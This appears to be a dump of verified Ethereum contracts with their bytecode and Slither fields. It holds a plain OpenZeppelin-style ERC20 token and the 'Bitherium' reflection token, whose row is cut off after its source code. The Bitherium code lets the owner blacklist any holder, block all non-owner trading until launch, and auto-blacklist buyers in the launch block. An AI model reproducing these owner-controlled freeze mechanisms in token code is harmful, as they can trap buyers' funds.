address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x154e35c2b0024B3e079c5c5e4fC31c979c189cCB
/** *Submitted for verification at Etherscan.io on 2021-07-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract RAIDToken is ERC20 { constructor(uint256 initialSupply) ERC20(unicode"Raid Guild Token ⚔️", "RAID") { _mint(address(0x3C3692681cD1c0F42FA68A2521719Cc24CEc3AF3), initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b411461015f578063a457c2d714610167578063a9059cbb1461017a578063dd62ed3e1461018d57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101c6565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bb565b610258565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f36600461077f565b61026e565b604051601281526020016100c3565b6100df6101313660046107bb565b610324565b6100f361014436600461072a565b6001600160a01b031660009081526020819052604090205490565b6100b661035b565b6100df6101753660046107bb565b61036a565b6100df6101883660046107bb565b610405565b6100f361019b36600461074c565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101d590610869565b80601f016020809104026020016040519081016040528092919081815260200182805461020190610869565b801561024e5780601f106102235761010080835404028352916020019161024e565b820191906000526020600020905b81548152906001019060200180831161023157829003601f168201915b5050505050905090565b6000610265338484610412565b50600192915050565b600061027b848484610536565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103055760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61031985336103148685610852565b610412565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161026591859061031490869061083a565b6060600480546101d590610869565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102fc565b6103fb33856103148685610852565b5060019392505050565b6000610265338484610536565b6001600160a01b0383166104745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102fc565b6001600160a01b0382166104d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102fc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661059a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102fc565b6001600160a01b0382166105fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102fc565b6001600160a01b038316600090815260208190526040902054818110156106745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102fc565b61067e8282610852565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106b490849061083a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070091815260200190565b60405180910390a350505050565b80356001600160a01b038116811461072557600080fd5b919050565b60006020828403121561073c57600080fd5b6107458261070e565b9392505050565b6000806040838503121561075f57600080fd5b6107688361070e565b91506107766020840161070e565b90509250929050565b60008060006060848603121561079457600080fd5b61079d8461070e565b92506107ab6020850161070e565b9150604084013590509250925092565b600080604083850312156107ce57600080fd5b6107d78361070e565b946020939093013593505050565b600060208083528351808285015260005b81811015610812578581018301518582016040015282016107f6565b81811115610824576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084d5761084d6108a4565b500190565b600082821015610864576108646108a4565b500390565b600181811c9082168061087d57607f821691505b6020821081141561089e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122052e3b47cd3c45b69843d811c4e26a1454466554e3e58943e5e99d7da0647d72d64736f6c63430008060033
{"success": true, "error": null, "results": {}}
5,800
0xEa74965cf3A86791c6a367B96e92F6726593607B
/* Telegram: https://t.me/bitheriumERC Twitter: https://twitter.com/bitherium_erc Website: https://bitherium.io/ Dodging taxes better than Jeff Bezos */ pragma solidity 0.8.0; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Bitherium is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Bitherium"; string private _symbol = "BITE"; uint8 private _decimals = 9; address payable private _marketingWallet; address private _burnWallet = 0x000000000000000000000000000000000000dEaD; uint256 public launchBlock; uint256 public _taxFee = 2; uint256 public _liquidityMarketingFee = 3; // 1% Liquidity, 2% Marketing uint256 private _previousTaxFee = _taxFee; uint256 private _totalFees = _liquidityMarketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount = _tTotal.mul(1).div(100); // 1% max transaction uint256 public _maxHoldings = _tTotal.mul(1).div(100); // 1% max wallet bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; uint256 public _routermax = 50000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable _marketingAddress) { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _marketingWallet = _marketingAddress; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) external onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address payable _address) external onlyOwner { _marketingWallet = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**9; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**9; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setSwapThresholdAmount(uint256 routerMax) external onlyOwner() { _routermax = routerMax * 10**9; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; launchBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(_taxFee).div(100); uint256 tLiquidity = tAmount.mul(_liquidityMarketingFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function removeAllFee() private { if(_taxFee == 0 && _liquidityMarketingFee == 0) return; _previousTaxFee = _taxFee; _totalFees = _liquidityMarketingFee; _taxFee = 0; _liquidityMarketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityMarketingFee = _totalFees; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _routermax; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = _routermax; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint toLiquidity = (contractTokenBalance.div(3)); uint toMarketing = contractTokenBalance.sub(toLiquidity).sub(1); uint toBurn = toLiquidity.div(2); toLiquidity = toLiquidity.sub(toBurn); // burn 50% of tokens going to liq _rOwned[_burnWallet] = _rOwned[_burnWallet].add(toBurn); uint256 half = toLiquidity.div(2); uint256 otherHalf = toLiquidity.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); swapTokensForEth(toMarketing); payable(_marketingWallet).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { require(!_isBlacklisted[sender] && !_isBlacklisted[recipient]); if(antiBotLaunch){ if(block.number <= launchBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!tradingLive){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
